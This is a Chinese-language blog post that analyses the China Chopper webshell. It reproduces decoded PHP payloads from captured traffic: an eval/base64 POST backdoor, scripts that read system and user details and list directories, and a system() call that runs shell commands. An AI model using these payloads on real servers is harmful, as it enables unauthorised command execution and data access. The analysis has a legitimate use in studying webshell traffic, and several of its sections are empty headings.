文章目錄
- 中國菜刀的功能
- 檔案管理
- 顯示網站根目錄資訊
- 上傳檔案
- 下載檔案
- 資料庫管理
- 虛擬終端
- 中國菜刀的使用
- 原理分析
中國菜刀的功能
中國菜刀是一款功能強大的webshell工具,可以用來對目標網站進行滲透獲取目標系統的檔案系統,對目標系統的檔案系統進行管理同時也可以對獲取系統的shell進行操作命令執行操作,同時可以對目標系統進行資料庫操作,但是從github下載下來的菜刀對php7不支持因為php7對菜刀進行了過濾,所以需要我們下載php5進行測驗,對于php7我們還可以采用中國蟻劍進行連接
檔案管理
在輸入了訪問鏈接和連接地字符并且配置了字符編碼之后,點擊添加即可

顯示網站根目錄資訊
利用我們剛剛指定的test引數,傳輸一些代碼命令函式利用后端的eval函式進行執行
通過抓包查看菜刀發送的資料
第一個資料包如下

將資料整理之后如下,也就是獲取當前腳本路徑以及用戶名和作業系統的內容
test=@eval(base64_decode($_POST[z0]))&
z0=@set_time_limit(0);//表示沒有腳本運行時間上的限制
@set_magic_quotes_runtime(0);//表示不對特殊字符進行轉義
echo(">|");;
$D=dirname($_SERVER["SCRIPT_FILENAME"]);//將當前執行的腳本的絕對路徑的目錄取出不要檔案名
if($D=="")
$D=dirname($_SERVER["PATH_TRANSLATED"]);//如果為空的話將當前腳本所在檔案系統(非檔案根目錄)的基本路徑
$R="{$D}\t";
if(substr($D,0,1)!="/")
{
foreach(range("A","Z") as $L)
if(is_dir("{$L}:"))
$R.="{$L}:";
}
$R.="\t";
$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';//獲取當前用戶的id更具用戶id獲取用戶的相關資訊
$usr=($u)?$u['name']:@get_current_user();//判斷是否為空是的話將當前腳本的所有者賦值給usr,不為空將用戶的用戶名給usr
$R.=php_uname();//將作業系統的資訊給R
$R.="({$usr})";//$R=$R."({$usr})"將用戶名加入到R中
print $R;;//輸出R
echo("|<-");
die();//結束程式
獲得了網站的路徑用戶和系統資訊之后,發送第二個資料包獲取網站目錄下的檔案和目錄資訊

解碼整理之后如下所示,首先進如網站的根目錄其次獲取網站目錄下的檔案夾和檔案的大小修改時間以及權限等資訊
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$D=base64_decode($_POST["z1"]);//接收zi賦值給D
$F=@opendir($D);//打開一個目錄句柄賦值給F
if($F==NULL){
echo("ERROR:// Path Not Found Or NoPermission!");
}
else{
$M=NULL;
$L=NULL;
while($N=@readdir($F)){//回圈讀取目錄資訊
$P=$D."/".$N;//將讀取的內容賦值給P加上網站的路徑
$T=@date("Y-m-d H:i:s",@filemtime($P));//將檔案的最近一次修改時間進行格式化一個字串賦值給T
@$E=substr(base_convert(@fileperms($P),10,8),-4);//獲取檔案的權限轉為8進制截取最后4個賦值給E
$R="\t".$T."\t".@filesize($P)."\t".$E."";//獲取檔案大小加上權限加上修改時間賦值給R
if(@is_dir($P))//如果P是一個目錄
$M.=$N."/".$R;//將目錄的資訊加上目錄名稱給M
else
$L.=$N.$R;//不是目錄就之間檔案名加上檔案資訊給L
}
echo $M.$L;//輸出ML,兩個其中有一個是NULL
@closedir($F);
};
echo("|<-");
die();
&z1=D:\phpstudy_pro\WWW //z1的值為網站的路徑在上一個資料包獲取的
效果如下所示,顯示檔案大小時間權限

上傳檔案
下載檔案
資料庫管理
虛擬終端
虛擬終端也是菜刀一個很厲害的功能,可以模擬一個終端進行命令的執行,右擊添加的鏈接選擇虛擬終端可以看到菜刀發送資料包,抓包分析
將追蹤的TCP資料流進行解碼之后如下,和前面的檔案管理發送的第一個資料包是一樣的獲取網站的路徑系統資訊、用戶資訊等
test=@eval(base64_decode($_POST[z0]))&
z0=@set_time_limit(0);//表示沒有腳本運行時間上的限制
@set_magic_quotes_runtime(0);//表示不對特殊字符進行轉義
echo(">|");;
$D=dirname($_SERVER["SCRIPT_FILENAME"]);//將當前執行的腳本的絕對路徑的目錄取出不要檔案名
if($D=="")
$D=dirname($_SERVER["PATH_TRANSLATED"]);//如果為空的話將當前腳本所在檔案系統(非檔案根目錄)的基本路徑
$R="{$D}\t";
if(substr($D,0,1)!="/")
{
foreach(range("A","Z") as $L)
if(is_dir("{$L}:"))
$R.="{$L}:";
}
$R.="\t";
$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';//獲取當前用戶的id更具用戶id獲取用戶的相關資訊
$usr=($u)?$u['name']:@get_current_user();//判斷是否為空是的話將當前腳本的所有者賦值給usr,不為空將用戶的用戶名給usr
$R.=php_uname();//將作業系統的資訊給R
$R.="({$usr})";//$R=$R."({$usr})"將用戶名加入到R中
print $R;;//輸出R
echo("|<-");
die();//結束程式
結果如下得到一個與網站路徑命名的終端

當我們輸入一條命令如dir之后繼續抓包分析

經過解碼整理之后如下所示,執行action呼叫cmd再進行網站根路徑之下運行dir命令輸出結果,這就是虛擬終端的實作其他的命令也是類似的
test=@eval.(base64_decode($_POST[action]));&action=
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$p=base64_decode($_POST["z1"]);
$s=base64_decode($_POST["z2"]);
$d=dirname($_SERVER["SCRIPT_FILENAME"]);//獲取腳本的路徑的目錄
$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";//如果路徑的第一個字符為/那么c為-c "{$s}"也就是z2的值加上-c,
//否則c為/c "{$s}"因為在windows和Linux中選項的使用不同一個是-一個是/
$r="{$p} {$c}";//將z1的值加上c的值給r也就是cmd -c cd/d"D:\phpstudy_pro\WWW"&dir&echo [S]&cd&echo [E]
@system($r." 2>&1",$ret);//呼叫system執行r將結果保存到ret中
print ($ret!=0)?"ret={$ret}":"";;//輸出ret
echo("|<-");
die();&
z1=cmd& //呼叫cmd
z2=cd/d"D:\phpstudy_pro\WWW\"&dir&echo [S]&cd&echo [E] //執行的命令進入網站根目錄使用dir命令
中國菜刀的使用
原理分析
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/374723.html
標籤:其他
下一篇:Python入門總結-默單詞程式
